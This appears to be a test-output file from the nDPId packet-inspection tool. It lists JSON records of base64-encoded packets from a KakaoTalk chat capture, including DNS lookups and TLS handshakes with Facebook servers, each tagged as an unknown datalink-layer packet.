+00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":87,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":600684,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACwAAEAArAYOlx8NRFQKGFK8AFCSsWQ58TCOvvH+YBD\/\/3RwAAABAQEB"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":87,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":88,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":632086,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACgcDUAAjwawd9Jn8A8KGFK8AbuTvWC6uwev6iU3UBCkjGWgAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":88,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":89,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":639655,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcACif30AArQZtnx8NRFQKGFK8AFCSsWQ58TCOvvK5UBD\/\/4W7AAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":89,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":90,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":703253,"pkt_caplen":78,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":78,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAD4AAEAAQBHSHgoYUrwKvAEBYBQANQAqICQnwAEAAAEAAAAAAAADYXBpCGZhY2Vib29rA2NvbQAAAQAB"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":90,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +02093{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":91,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":731635,"pkt_caplen":1336,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1336,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUABShea0AAjwYckq38YQIKGFK8AbuKr2Aiq0b8GvCJUBCkrNGhAAAWAwEAWQIAAFUDAcFMnoqnHL28zylfQXnHbXmp7QB2K0I4OCMnBtyhT5SjIFTmkW2W6o96+hlbztXJU76jJJdvgLhMP+5whOTkeNqTwAcAAA3\/AQABAAALAAQDAAECFgMBDNkLAAzVAAzSAAZwMIIGbDCCBVSgAwIBAgIQBnjbTdvaLb44isb+B0TcyDANBgkqhkiG9w0BAQUFADBmMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSUwIwYDVQQDExxEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBDQS0zMB4XDTE0MDgyODAwMDAwMFoXDTE1MTAyODEyMDAwMFowYTELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMRMwEQYDVQQHEwpNZW5sbyBQYXJrMRcwFQYDVQQKEw5GYWNlYm9vaywgSW5jLjEXMBUGA1UEAwwOKi5mYWNlYm9vay5jb20wWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAATY0d01veJZtvubH1QVjNu\/Tli9R764EPwi6dKemPhJKiX7lEbkQpmEUBxfAf0UJTFcTtlk\/cUMs0bSobxwtIeOo4ID5DCCA+AwHwYDVR0jBBgwFoAUUOpzidsp+xCPnuUBINTeeZlIg\/cwHQYDVR0OBBYEFEMJk0D6EUswM+zyh26NcRjPiryOMIICOwYDVR0RBIICMjCCAi6CDiouZmFjZWJvb2suY29tggxmYWNlYm9vay5jb22CCyouZmJzYnguY29tggsqLmZiY2RuLm5ldIIOKi54eC5mYmNkbi5uZXSCDioueHkuZmJjZG4ubmV0ggZmYi5jb22CCCouZmIuY29tghgqLmZhY2Vib29rY29yZXd3d2kub25pb26CFmZhY2Vib29rY29yZXd3d2kub25pb26CGCouZmJjZG4yM2Rzc3IzanFucS5vbmlvboIWZmJjZG4yM2Rzc3IzanFucS5vbmlvboIYKi5mYnNieDJxNG12Y2w2M3B3Lm9uaW9ughZmYnNieDJxNG12Y2w2M3B3Lm9uaW9ughAqLm0uZmFjZWJvb2suY29tgg8qLm1lc3Nlbmdlci5jb22CDW1lc3Nlbmdlci5jb22CGioubS5mYWNlYm9va2NvcmV3d3dpLm9uaW9ughsqLnh4LmZiY2RuMjNkc3NyM2pxbnEub25pb26CGXh4LmZiY2RuMjNkc3NyM2pxbnEub25pb26CGyoueHkuZmJjZG4yM2Rzc3IzanFucS5vbmlvboIZeHkuZmJjZG4yM2Rzc3IzanFucS5vbmlvboIOKi54ei5mYmNkbi5uZXSCDHh6LmZiY2RuLm5ldIIbKi54ei5mYmNkbjIzZHNzcjNqcW5xLm9uaW9ughl4ei5mYmNkbjIzZHNzcjNqcW5xLm9uaW9ughhtLmZhY2Vib29rY29yZXd3d2kub25pb24wDgYDVR0PAQH\/BAQDAgOIMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBhBgNVHR8EWjBYMCqgKKAmhiRodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vY2EzLWcyOS5jcmwwKqAooCaGJGh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9jYTMtZzI5LmNybDBCBgNVHQ=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":91,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":92,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":734564,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjmvEAAPwbpQAoYUryt\/GECiq8Bu\/wa8IlgIrBGUBBBAHmJAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":92,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +02099{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":93,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":736182,"pkt_caplen":1336,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1336,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUABShebEAAjwYcka38YQIKGFK8AbuKr2AisEb8GvCJUBikrPVJAAAgBDswOTA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzB7BggrBgEFBQcBAQRvMG0wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBFBggrBgEFBQcwAoY5aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0SGlnaEFzc3VyYW5jZUNBLTMuY3J0MAwGA1UdEwEB\/wQCMAAwDQYJKoZIhvcNAQEFBQADggEBAH+E197NT+uv3Gl8Ww0Hto52ip4HI8J9GUO31fXVPsBGGztPmX3vZUA9efuefcpD+c2QQNKsmEtaGlR+Pq2Ym7KusJlTkLZFL0HEeHlPMlC7JkqP3K\/+DkhpxjoDBHNmeFnn45su154px8ew83Ei9w0gkLUTjRJHdw135yyAdeFyLcpRVBaExOCS5rUMN2SxBjQlAqoaeMNHcqm61B\/TRBodNw2f2GV45V33ZCjqHQZ4orzOuwKHpoiBLcUbRodTiFMpead9ct0m\/MnY+4rDyDD+Nd\/OS40p2kN1mfylJsFxllg98sOS0J+KuLubjD1CJFuBsekpEiWyV2GwDB6GLpQABlwwggZYMIIFQKADAgECAhAKXxFNA1sXkRfS79QDjD87MA0GCSqGSIb3DQEBBQUAMGwxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xKzApBgNVBAMTIkRpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIEVWIFJvb3QgQ0EwHhcNMDgwNDAyMTIwMDAwWhcNMjIwNDAzMDAwMDAwWjBmMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSUwIwYDVQQDExxEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBDQS0zMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv2EKKRAfXv40N1EI+B77Iu1hvgsNcExQYyZ1FblBiJe28KAVuwhg4ELoBSkQhzaKKGWo7zEHdG02ly8oRmYExyp5JnqZ1Y7DbU+gXq28PZHCWXteNmzAU88ACDI+EGRYEBNpxwzunEJRAPkFRO4kznof7YwRvRKo8xX0HHoxaQEbp+ZdwJpsfgme51JEShA6I+SbtgOvqJy0W5\/US62SjM61ESqqNxiNtMK42FwGjPj\/I701XtR8Pn6DDpGWBZjDsh\/jyGXrqXtdoCzM\/DzZbe3M+ktDjMnUuKVhHLJAtigS37n4X\/7TssnvPbQeS3wcTJk2nj3r7KdoXh3fZ25e+wIDAQABo4IC+jCCAvYwDgYDVR0PAQH\/BAQDAgGGMIIBxgYDVR0gBIIBvTCCAbkwggG1BgtghkgBhv1sAQMAAjCCAaQwOgYIKwYBBQUHAgEWLmh0dHA6Ly93d3cuZGlnaWNlcnQuY29tL3NzbC1jcHMtcmVwb3NpdG9yeS5odG0wggFkBggrBgEFBQcCAjCCAVYeggFSAEEAbgB5ACAAdQBzAGUAIABvAGYAIAB0AGgAaQBzACAAQwBlAHIAdABpAGYAaQBjAGEAdABlACAAYwBvAG4AcwB0AGkAdA=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":93,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":94,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":738959,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjmvUAAPwbpPwoYUryt\/GECiq8Bu\/wa8IlgIrVGUBBLAGqJAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":94,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +01712{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":95,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":740271,"pkt_caplen":1043,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1043,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUABANebUAAjwYdta38YQIKGFK8AbuKr2AitUb8GvCJUBikrC7tAAAAdQB0AGUAcwAgAGEAYwBjAGUAcAB0AGEAbgBjAGUAIABvAGYAIAB0AGgAZQAgAEQAaQBnAGkAQwBlAHIAdAAgAEMAUAAvAEMAUABTACAAYQBuAGQAIAB0AGgAZQAgAFIAZQBsAHkAaQBuAGcAIABQAGEAcgB0AHkAIABBAGcAcgBlAGUAbQBlAG4AdAAgAHcAaABpAGMAaAAgAGwAaQBtAGkAdAAgAGwAaQBhAGIAaQBsAGkAdAB5ACAAYQBuAGQAIABhAHIAZQAgAGkAbgBjAG8AcgBwAG8AcgBhAHQAZQBkACAAaABlAHIAZQBpAG4AIABiAHkAIAByAGUAZgBlAHIAZQBuAGMAZQAuMBIGA1UdEwEB\/wQIMAYBAf8CAQAwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wgY8GA1UdHwSBhzCBhDBAoD6gPIY6aHR0cDovL2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0SGlnaEFzc3VyYW5jZUVWUm9vdENBLmNybDBAoD6gPIY6aHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0SGlnaEFzc3VyYW5jZUVWUm9vdENBLmNybDAfBgNVHSMEGDAWgBSxPsNpA\/i\/RwHUmCYaCALvY2QrwzAdBgNVHQ4EFgQUUOpzidsp+xCPnuUBINTeeZlIg\/cwDQYJKoZIhvcNAQEFBQADggEBAB7ipUiebNtTOA\/vphoqrOIDQ+2avD6OdRvw\/S4iWawTwGHi5\/rpmc2HCXVUKL9GYNy+USyS8xuRfDEIcOI3ucFbqL2jCwD7GhX9A61YasXHJJlIR0YxHpLvtF9ONMeQvzHB+LGEhtCcAarfilYGzjrpDq6XdF3XcZpCdF\/ejUN83ulV7WkAywXgemFhM9EZTfkI7qA5xSU1tyvED7Ld8aW3DiTEJiiNeXf1L\/BXunwH1OH8zVowV36GEEfdMR\/X\/KLCvzB8XSSq6PmuX2p0ws5rs0bYIb4p1I5eFdZCSucyb6Sxa1GDWL4\/bcf72gMhy2oWGU4K8K2Eyl2Us1p292EWAwEAkQwAAI0DABdBBCtei6pkF7Ihh30IlrkbI+Jxsm\/uAJzeAG6PzBdnOYxE93dfr7QSlu6Nhr9NHU6o1tSsjje+a+kR8pWVe5KLt7wARjBEAiAujbLM+nBgQ9DDXGA8FkGLsmIMEPacaLMIplt6Au\/T6wIgL0KqIWGzS1CoXQgv8AKWMtRyntVQDAdRrg\/X2+gj5\/oWAwEABA4AAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":95,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":96,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":742682,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjmvkAAPwbpPgoYUryt\/GECiq8Bu\/wa8IlgIrkhUBBVAFyuAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":96,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00860{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":97,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":747626,"pkt_caplen":413,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":413,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAY0cDkAAjwavEdJn8A8KGFK8AbuTvWC6uwev6iU3UBikjHb6AAAXAwEBYFvfY04eAGd86iHJid3EvcTRB80fw9cD+rjjsSIgEppIV01U8pqz1o4uKBQBlq09Hyat57+5j9A8gf6Uc3n7zwKvQk8dGobNxPxcKnqLqCb5Xrl65DzdSY4tLPI320HyVriRM7Vo3grKYXzAGW0rrawsGWANvRtx+3w108l6pllhKzTzHC49tvLSeEA1uOdA06fkLnWVMBWoYs2+YveXMOxJzqQhHvuwNCxJkrI1iPmTa3mLJpAXdo7pYSWyEipRXd2xUwYWXxj35nBY4nWsy6ylV2DjaTljLnNfLS61mhSBnLGMyNj+eJ\/9\/HKm9lckjaP\/Wv\/pLobDmh3OiEN8hu\/8vL2alceVIl2L55euKg\/lNJrZ3VQ9hDl1I00jab+q+9NpXpYhXpMNhgPs1vQJHYnVTCnpfLx1C5cxY+uXE8edShMgVxQpqvsHOMDUsKFhlBsBa6o4SZ3S+Y9YvTRtYlc="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":97,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00462{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":98,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":748175,"pkt_caplen":118,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":118,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAGbtpgAANREvUAq8AQEKGFK8ADVgFABSeRsnwIGAAAEAAgAAAAADYXBpCGZhY2Vib29rA2NvbQAAAQABwAwABQABAAAD6wAMBHN0YXIEYzEwcsAQwC4AAQABAAAACQAEHw1EVA=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":98,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":99,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":751746,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADwzN0AAPwZIUAoYUrwfDURUsJkBu9qbOCoAAAAAoAI5CH68AAACBAV4BAIICgALCx0AAAAAAQMDBw=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":99,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00885{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":100,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":786200,"pkt_caplen":429,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":429,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAZ0rh0AAPwbviAoYUrzSZ\/APk70Bu6\/qJTdgurxsUBhpABjuAAAXAwEBcPAdWq7g4xJzNJcVoV07f0h+PJ2MFKMn6M7s3rT9ooDp3UmGHOrfOKI1+6V\/HJLNtHKBJ2IohnT7h2v240SvskIaDGgw2qYN2VBWglg16QtYl+ZNtv0YcDwlVBUBky3GhE6HJBIz94wD+wwpq7TVLJmGiEhdKcTi2Zp+q02wzQmx04VxncMs9WZFydncHEt4DvUNICu5Vr2694Lxfj9vZtub\/YMYh\/Xwk\/EbaEANig6ff+uoG48\/TZqq2xy\/eOIeuU0S0pxIIhx9mCRAWI8\/zssIAb9kHJWHbC9bxbon2pBFWP\/zvOs2XVYEdbb+p2eOpVQeSvY6TkIPwdpB4geisLrzRqGSqISLcU1v2UMN0tmLZvZjOyb10Y538lkldyOsw5vpFclaW6w8lYrCSyQlUKNvzClEuGgXJuILsn6uF2GhVXgyLQCTJwIoUdiarsKSGvOYZqbQ8RblS4EEwlC6IwyVR5gdRCBPW9pKQfrdELkI"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":100,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00405{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":101,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":835761,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADwAAEAAjgYshx8NRFQKGFK8AbuwmcDC6aramzgroBKpsCsUAAACBAV4BAIICqKRlfAACwsdAQMDBg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":101,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":102,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":839087,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADQzOEAAPwZIVwoYUrwfDURUsJkBu9qbOCvAwumrgBAAcwLZAAABAQgKAAsLJaKRlfA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":102,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +01153{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":103,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":840583,"pkt_caplen":631,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":631,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAmczOUAAPwZGIwoYUrwfDURUsJkBu9qbOCvAwumrgBgAc240AAABAQgKAAsLJqKRlfAWAwECLgEAAioDA76a6q0ypg3ba+OWWVF7gyjIWE3lPvKUJBMV6IUnlGQhIC1U45RULLPMlKvTAlYh5N+zhv6zM+AEAVT4gI6fleVZAJbAMMAswCjAJMAUwAoApQCjAKEAnwBrAGoAaQBoADkAOAA3ADbAMsAuwCrAJsAPwAUAnQA9ADXAL8ArwCfAI8ATwAkApACiAKAAngBnAEAAPwA+ADMAMgAxADDAMcAtwCnAJcAOwAQAnAA8AC\/AEcAHwAzAAgAFAATAEsAIABYAEwAQAA3ADcADAAoAFQASAA8ADAAJAP8BAAFLAAAAFQATAAAQYXBpLmZhY2Vib29rLmNvbQALAAQDAAECAAoAOgA4AA4ADQAZABwACwAMABsAGAAJAAoAGgAWABcACAAGAAcAFAAVAAQABQASABMAAQACAAMADwAQABEAIwDAKdJiRItdg1e+9Bh8mODTmhuNTVrAqzJ9keCZS7TuZRivHCP304LlPhe+Djs0yurEPgdumukZ4o6zhpa97CMdhZbDbGPi\/1oo0xHsOzHJxu\/l+8GmyAwoVErUBObVx\/AWLW579VOCdf65nCc1eSeef2ueP9+1qDRIbGJ4ntKWe8U7odCyfHta0Xnuf\/K5YCgRDMzTWl4lwXV\/pVqfdtCRCsiJzp5RXj5iwNyPz5kZ+GoBBhp+n5MdnpToY3cxvhxHAA0AIAAeBgEGAgYDBQEFAgUDBAEEAgQDAwEDAgMDAgECAgIDM3QAAA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":103,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00546{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":104,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":848151,"pkt_caplen":178,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":178,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKLmv0AAPwbowwoYUryt\/GECiq8Bu\/wa8IlgIrkhUBhVAKBwAAAWAwEARhAAAEJBBM78NBVkmlFe38Dfh6ncFED6agiQz70L7JebybIcbivtqYgLE21ZPjl1FKuZKvkcvTP63OO1EgWcrskFJfHlUSgUAwEAAQEWAwEAJK1MANIyoofFiVug6n2FdBKRHcbugRV3r\/1BqMFM+QjhNjMuhQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":104,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00757{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":105,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":855597,"pkt_caplen":339,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":339,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcAUOf4EAArQZsgx8NRFQKGFK8AFCSsWQ58TCOvvK5UBj\/\/wX6AABIVFRQLzEuMSAyMDQgTm8gQ29udGVudA0KQ2FjaGUtQ29udHJvbDogcHJpdmF0ZSwgbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUNCkVkZ2UtY29udHJvbDogY2FjaGUtbWF4YWdlPTI4ZA0KWC1GQi1EZWJ1ZzogM3o2a2UxVXU0SHNpbnZIcU5ha1JSUXdtUU5ZQUd1Z0NwV2Y5Yk5CNE9velJSYk1aa3FhSXh6Y2puazc5R3VzZTJQQXN4c0M0QTVRRmd5RlQ1ZStBV1E9PQ0KRGF0ZTogU3VuLCAyNiBBcHIgMjAxNSAxNzoyMzo1MCBHTVQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":105,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":106,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":860297,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACj6\/EAAPwaAngoYUrwfDURUkrEAUI6+8rlkOfJLUBA8uEfoAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":106,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":107,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":907569,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACgcD0AAjwawddJn8A8KGFK8AbuTvWC6vGyv6iasUBCjF2Q7AAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":107,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":108,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":955695,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADSZL0AAjwaSXx8NRFQKGFK8AbuwmcDC6avamzpegBACnv4AAAABAQgKopGWaQALCyY="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":108,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00409{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":109,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":978614,"pkt_caplen":80,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":80,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAEAAAEAAQBHSHAoYUrwKvAEBTH4ANQAsPIiqhwEAAAEAAAAAAAAFZ3JhcGgIZmFjZWJvb2sDY29tAAABAAE="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":109,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} 